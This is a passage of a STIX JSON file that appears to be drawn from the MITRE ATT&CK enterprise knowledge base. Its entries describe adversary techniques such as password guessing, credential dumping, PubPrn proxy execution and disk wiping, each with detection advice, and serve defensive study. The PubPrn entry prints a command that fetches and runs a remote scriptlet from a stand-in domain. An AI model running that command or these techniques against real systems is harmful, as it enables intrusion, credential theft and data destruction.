`SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Driver: Driver Load","Windows Registry: Windows Registry Key Modification","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","root","SYSTEM","User"]},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","type":"attack-pattern","created":"2020-02-04T19:24:27.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1222.002","url":"https://attack.mitre.org/techniques/T1222/002"},{"url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls1 June 2018"},{"url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls2 May 2018"},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-13T21:08:09.985Z","name":"Linux and Mac File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Metadata","Process: Process Creation"],"x_mitre_permissions_required":["User","root"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Mohamed Kmal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","created":"2020-02-11T18:38:22.617Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1110.001","url":"https://attack.mitre.org/techniques/T1110/001"},{"source_name":"Trend Micro Emotet 2020","url":"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi","description":"Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022."},{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."},{"url":"https://capec.mitre.org/data/definitions/49.html","source_name":"capec","external_id":"CAPEC-49"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.","modified":"2022-04-19T21:31:44.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Password Guessing","x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Application Log: Application Log Content","User Account: User Account Authentication"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Atul Nair, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","created":"2020-02-03T16:49:57.788Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1216.001","url":"https://attack.mitre.org/techniques/T1216/001"},{"source_name":"pubprn","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn","description":"Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."},{"source_name":"Enigma0x3 PubPrn Bypass","url":"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/","description":"Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).","modified":"2022-04-18T14:55:35.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PubPrn","x_mitre_detection":"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Script: Script Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f","type":"attack-pattern","created":"2020-10-02T17:05:43.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1597.002","url":"https://attack.mitre.org/techniques/T1597/002"},{"source_name":"ZDNET Selling Data","url":"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/","description":"Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:44:43.900Z","name":"Purchase Technical Data","description":"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux","Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","type":"attack-pattern","created":"2017-05-31T21:30:19.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003","url":"https://attack.mitre.org/techniques/T1003"},{"description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","source_name":"Medium Detecting Attempts to Steal Passwords from Memory"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"url":"https://msdn.microsoft.com/library/cc228086.aspx","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","source_name":"Microsoft DRSR Dec 2017"},{"url":"https://msdn.microsoft.com/library/dd207691.aspx","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","source_name":"Microsoft GetNCCChanges"},{"url":"https://wiki.samba.org/index.php/DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","source_name":"Samba DRSUAPI"},{"url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","source_name":"Harmj0y DCSync Sept 2015"},{"url":"https://msdn.microsoft.com/library/cc237008.aspx","description":"Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.","source_name":"Microsoft NRPC Dec 2017"},{"url":"https://msdn.microsoft.com/library/cc245496.aspx","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","source_name":"Microsoft SAMR"},{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","source_name":"AdSecurity DCSync Sept 2015"}],"modified":"2022-03-08T21:00:53.436Z","name":"OS Credential Dumping","description":"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>, where the <code><pid></code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","File: File Access","Command: Command Execution","Windows Registry: Windows Registry Key Access","Process: Process Access","Active Directory: Active Directory Object Access"],"x_mitre_permissions_required":["Administrator","SYSTEM","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","created":"2017-05-31T21:31:40.542Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1129","url":"https://attack.mitre.org/techniques/T1129"},{"source_name":"Wikipedia Windows Library Files","url":"https://en.wikipedia.org/wiki/Microsoft_Windows_library_files","description":"Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like <code>CreateProcess</code>, <code>LoadLibrary</code>, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n* via <code>&#x3c;file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"&#x3e;</code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.","modified":"2022-04-19T20:31:10.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Shared Modules","x_mitre_detection":"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: OS API Execution","Module: Module Load"],"x_mitre_system_requirements":[],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","created":"2020-10-19T23:46:13.931Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1602","url":"https://attack.mitre.org/techniques/T1602"},{"source_name":"Cisco Advisory SNMP v3 Authentication Vulnerabilities","url":"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3","description":"Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."},{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)","modified":"2022-04-19T21:32:58.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data from Configuration Repository","x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","type":"attack-pattern","created":"2020-02-20T22:10:20.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1561.002","url":"https://attack.mitre.org/techniques/T1561/002"},{"source_name":"Symantec Shamoon 2012","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"Kaspersky StoneDrill 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."},{"source_name":"Unit 42 Shamoon3 2018","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."},{"url":"https://docs.microsoft.com/sysinternals/downloads/sysmon","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","source_name":"Microsoft Sysmon v6 May 2017"}],"modified":"2020-03-28T23:00:00.367Z","name":"Disk Structure Wipe","description":"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Driver: Driver Load","Command: Command Execution","Drive: Drive Modification","Drive: Drive Access"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3","created":"2020-03-02T20:07:18.651Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1498.001","url":"https://attack.mitre.org/techniques/T1498/001"},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."},{"source_name":"USNYAG IranianBotnet March 2016","url":"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged","description":"Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."},{"url":"https://capec.mitre.org/data/definitions/125.html","source_name":"capec","external_id":"CAPEC-125"},{"url":"https://capec.mitre.org/data/definitions/486.html","source_name":"capec","external_id":"CAPEC-486"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)","modified":"2022-04-19T23:28:52.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Direct Network Flood","x_mitre_detection":"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco 